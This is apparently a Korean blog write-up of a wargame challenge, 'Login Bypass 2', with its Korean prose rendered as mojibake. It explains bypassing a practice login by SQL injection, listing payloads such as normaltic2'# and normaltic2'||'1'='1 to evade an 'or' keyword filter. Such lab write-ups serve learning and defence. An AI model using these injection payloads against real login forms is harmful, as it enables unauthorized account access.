Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (Authentication Bypass) - Login Bypass 2

Gearvirus(junyup2) 2023. 12. 6. 04:01

[SegFault] Authentication Bypass (Login)

Login Bypass 2.

normaltic2 ๋กœ ๋กœ๊ทธ์ธํ•˜์ž!

 

๋ฌธ์ œ ํŒŒ์•…

  • ์œ„์˜ ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ํ™”๋ฉด์ด ๋‚˜์˜จ๋‹ค.
  • ์•Œ๊ณ  ์žˆ๋Š” ๊ณ„์ • :  [ID/PW] : doldol / dol1234

  • Burp Suite์„ ์ด์šฉํ•˜์—ฌ ์‚ฌ์ดํŠธ ์ ‘์† ๊ณผ์ •์˜ ์ƒํƒœ์ฝ”๋“œ(Status code) ํ™•์ธํ•œ๋‹ค.
    • 200 OK
  • ๋กœ๊ทธ์ธ ๊ณผ์ •์˜ ๊ตฌ์กฐ๋ฅผ ์•Œ๊ธฐ ์œ„ํ•ด, ์šฐ์„  ์•Œ๊ณ  ์žˆ๋Š” ์ •๋ณด๋กœ ๋กœ๊ทธ์ธ ํ•ด๋ณธ๋‹ค.

  • ๋กœ๊ทธ์ธ ๊ณผ์ •์˜ ํžˆ์Šคํ† ๋ฆฌ(HTTP history), ์ƒํƒœ์ฝ”๋“œ(Status code) ํ™•์ธํ•œ๋‹ค.
    • 302 Found
    • 200 OK
  • ์š”์ฒญ(Request)์„ ์‚ดํŽด๋ณด์ž !

  • /login2/login.php ๊ฒฝ๋กœ์— post๋ฉ”์„œ๋“œ๋กœ ํŒŒ๋ผ๋ฏธํ„ฐ UserId=doldol&Password=dol1234&Submit=Login ๋“ค์–ด๊ฐ€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ๋กœ๊ทธ์ธ์ด ์„ฑ๊ณตํ•˜์—ฌ index.php๋กœ ๋ฆฌ๋””๋ ‰์…˜๋˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

์ƒ๊ฐ ๊ณผ์ •

์ƒ๊ฐ ๊ณผ์ •
1. SQL Injection์ด ๊ฐ€๋Šฅํ•œ๊ฐ€? Yes
-> doldol' and '1'='1 / dol1234 ๋กœ ๋กœ๊ทธ์ธ ์‹œ๋„ : ์„ฑ๊ณต
2. ์–ด๋–ค ๋กœ์ง์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ์„๊นŒ?
  2-1. ์‹๋ณ„/์ธ์ฆ ๋™์‹œ normaltic2'or'1'='1/ ์•„๋ฌด๊ฑฐ๋‚˜ ์‹œ๋„ :์‹คํŒจ(Fail)
  2-2. or ํ•„ํ„ฐ๋ง?! normaltic2'# / ์•„๋ฌด๊ฑฐ๋‚˜ ์‹œ๋„

ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

  • or ์— ๋Œ€ํ•œ ํ•„ํ„ฐ๋ง์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜๊ณ  normaltic2'#์œผ๋กœ ๋กœ๊ทธ์ธ์ด ๊ฐ€๋Šฅํ–ˆ๋‹ค.
  • ํ•˜์ง€๋งŒ or ๊ฐ€ ์–ด๋–ค์‹์œผ๋กœ ํ•„ํ„ฐ๋ง ๋˜์–ด ์žˆ๋Š”์ง€๋ฅผ ์ƒ๊ฐํ•ด๋ณด๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ…Œ์ŠคํŠธ ํ•ด๋ณด์•˜๋‹ค.

 

or ํ•„ํ„ฐ๋ง ํ…Œ์ŠคํŠธ

์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ํ•„ํ„ฐ๋ง

' or ' ์ด ํ•„ํ„ฐ๋ง ๋œ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋ฉด
normaltic' or '1' -> normaltic1' ๊ฐ€ ๋œ๋‹ค.
'or ์ด ํ•„ํ„ฐ๋ง ๋œ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋ฉด
normaltic' or'1' -> normaltic' 1 ๊ฐ€ ๋˜์–ด ์•ˆ๋œ๋‹ค.
or' ์ด ํ•„ํ„ฐ๋ง ๋œ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋ฉด
normaltic'or '1' -> normaltic '1 ๊ฐ€ ๋˜์–ด ์•ˆ๋œ๋‹ค.
'or' ์ด ํ•„ํ„ฐ๋ง ๋œ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋ฉด
normaltic'or'1' -> normaltic1' ์ด ๋˜์–ด ๋˜์•ผํ•œ๋‹ค.

ํ…Œ์ŠคํŠธ ํ•ด๋ณด๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

' or ' (์•ž๊ณต๋ฐฑO๋’ท๊ณต๋ฐฑX)
normaltic' or'1' = '1'# ์‹คํŒจ
'or ' (์•ž๊ณต๋ฐฑX๋’ท๊ณต๋ฐฑO)
normaltic'or '1' = '1'# ์‹คํŒจ
'or' (๊ณต๋ฐฑ ์—†์Œ)
normaltic'or'1' = '1'#
' or ' (์•ž๋’ค ๊ณต๋ฐฑ)
normaltic' or '1' = '1'# normaltic1์œผ๋กœ ์„ฑ๊ณต
  • ์ฆ‰ ์•ž๋’ค ๊ณต๋ฐฑ์ด ์žˆ๋Š” ๊ฒฝ์šฐ๋งŒ ๋’ค์˜ ์ˆซ์ž๊ฐ€ ์ œ๋Œ€๋กœ ๋ถ™์–ด์„œ ์ด์–ด์ง์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
  • ์œ„์˜ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ ์ƒ๊ฐํ•ด๋ณด๋ฉด?

๋‹ค๋ฅธ ํ’€์ด๋ฒ•

  • normaltic' or '2' = '1'# ์„ ๋„ฃ์—ˆ์„๋•Œ normaltic2๋กœ ๋กœ๊ทธ์ธ๋˜์–ด ์ด ๋ฐฉ๋ฒ•์œผ๋กœ๋„ ํ’€ ์ˆ˜ ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

๋˜ํ•œ ์ด ๋ฌธ์ œ์˜ ํ•„ํ„ฐ๋ง์€ ๋ฌธ์ž or์„ ํ•„ํ„ฐ๋ง ํ•œ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์—

  • normaltic2'||'1'='1 ๋กœ normaltic2๋กœ ๋กœ๊ทธ์ธ์ด ๊ฐ€๋Šฅํ–ˆ๋‹ค.
  • || ์ด๋ผ๋Š” or ์—ฐ์‚ฐ์ž์— ๋Œ€ํ•ด์„œ๋Š” ์•ˆ๋ง‰ํ˜€ ์˜€๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

์ƒ๊ฐํ•ด๋ณผ ์ 

์ „์ฒด ์กฐํšŒ๊ฐ€ ๋˜๋Š” ๊ฒฝ์šฐ
normaltic1' = '0'#
normaltic1' = False#

normaltic1์œผ๋กœ ๋กœ๊ทธ์ธ๋˜๋Š” ๊ฒฝ์šฐ
normaltic1' = True#
normaltic1'#
  • ์‹๋ณ„๊ณผ ์ธ์ฆ์ด ๋™์‹œ์— ๋˜๋Š” ๊ฒฝ์šฐ์— '# ์„ ํ†ตํ•ด์„œ password ๋ถ€๋ถ„์„ ์ฃผ์„์ฒ˜๋ฆฌ ํ•ด์ค€๋‹ค.
  • ์•ž์˜ id ๋ถ€๋ถ„๋งŒ ์ด์šฉํ•˜์—ฌ ์ฐธ, ๊ฑฐ์ง“์— ๋”ฐ๋ผ ์กฐํšŒ๋˜๋Š” ์ •๋ณด๊ฐ€ ๋‹ค๋ฆ„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜